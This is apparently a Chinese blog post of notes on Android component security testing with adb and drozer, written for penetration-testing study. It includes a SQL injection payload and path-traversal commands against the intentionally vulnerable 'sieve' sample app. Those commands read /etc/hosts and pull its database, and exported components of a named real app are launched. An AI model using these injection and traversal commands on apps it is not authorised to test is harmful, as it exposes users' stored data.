sidazujian

2020-05-20  本文已影响0人  5f8689b959d5

可以看一下这些文章哦 https://www.freebuf.com/articles/web/165466.html
https://blog.csdn.net/nextdoor6/article/details/52211117

Activity组件:界面组件,通常用来展示一个可视化的用户界面。劫持攻击中就是测试这个界面

Activity组件测试

  1. activity劫持
    • 打开Hijack_Activity,后台运行,再打开测试的app,查看是否弹出Hijack_Activity劫持
      安全的情况下,当在app打开另外的界面时,app应用需要提示用户应用在后台运行中
 
也可以使用测试命令:(使用命令的方式启动测试程序)
  1. 打开cmd
     adb shell
     su
     am start com.hijack_activity/.MyLogin
  1. activity组件导出
测试方法:
1、adb forward tcp:31415 tcp:31415

2、drozer console connect

3、查看可导出的activity(run app.activity.info -a 包名)

4、开启新的cmd,进入adb 掉起activity(am start -n 包名/activity名),观察页面是否黑屏、闪退等其他异常

a. 查询四大组件的基本信息:

dz> run app.package.attacksurface com.cpic.jkfwglesit
Attack Surface:
  2 activities exported
  1 broadcast receivers exported
  0 content providers exported
  1 services exported

b. 查看activity组件

dz> run app.activity.info -a com.cpic.jkfwglesit
Package: com.cpic.jkfwglesit
  com.cpic.jkfwglesit.MainActivity
    Permission: null
  cn.jpush.android.ui.PushActivity
    Permission: null



c. 开启新的cmd,进入adb 掉起activity(am start -n 包名/activity名
C:\Users\syjiang>adb shell
shell@trltechn:/ $ am start -nncom.cpic.jkfwglesit/cn.jpush.android.ui.PushActivity
rt -n com.cpic.jkfwglesit/cn.jpush.android.ui.PushActivity                    <
Starting: Intent { cmp=com.cpic.jkfwglesit/cn.jpush.android.ui.PushActivity }


如果此时APP界面存在异常,则可导出。
这时候需要手机正在运行app.

漏洞组件:

Service组件

1、adb forward tcp:31415 tcp:31415

2、drozer console connect

3、run app.service.info -a 包名

4、am startservice -a INTENT -n 包名/组件名

还是主要看配置文件吧,还是不太懂四大组件的测试,好多是需要手动注入的,还需要再了解一下!

Broadcast组件

1、adb forward tcp:31415 tcp:31415

2、drozer console connect

3、run app.broadcast.info -a 包名

4、进入adb shell

5、am  broadcast -a INTENT_ACTION -n 包名/actvivity名 //观察是否有闪退现象

6、找到INTENT_ACTION(1、java -jar AXMLPrinter2.jar  xml地址 > AndroidManifest.txt) //可以在文本中查看具体情况,是否设置了exportd属性为false


java -jar AXMLPrinter2.jar  C:\Users\LM\Desktop\AndroidManifest.xml > C:\Users\LM\Desktop\AndroidManifest.txt

ContentProvider组件

1、adb forward tcp:31415 tcp:31415

2、drozer console connect

3、run scanner.provider.finduris -a 包名

4、获取各个URI的数据(查询到数据说明存在漏洞):run app.provider.query 

run app.provider.query [URI] –selection “1=1”

dz> SQL注入(报错则说明存在SQL注入):run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master wh ere 1=1; --"

检查是否存在遍历文件的漏洞
dz> run scanner.provider.injection -a com.mwr.example.sieve

dz> run scanner.provider.traversal -a com.mwr.example.sieve

还有一种,就是去看配置文件。是否为false

需要自己写攻击payload
检测sql注入和目录遍历:
dz> run scanner.provider.injection -a com.mwr.example.sieve

dz> run scanner.provider.traversal -a com.mwr.example.sieve

遍历下载文件:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sie
ve/databases/database.db /home/user/database.db

调试信息未关闭

二次打包

这里面是详细步骤
https://www.jianshu.com/p/6bcc42542997

上一篇 下一篇

猜你喜欢

热点阅读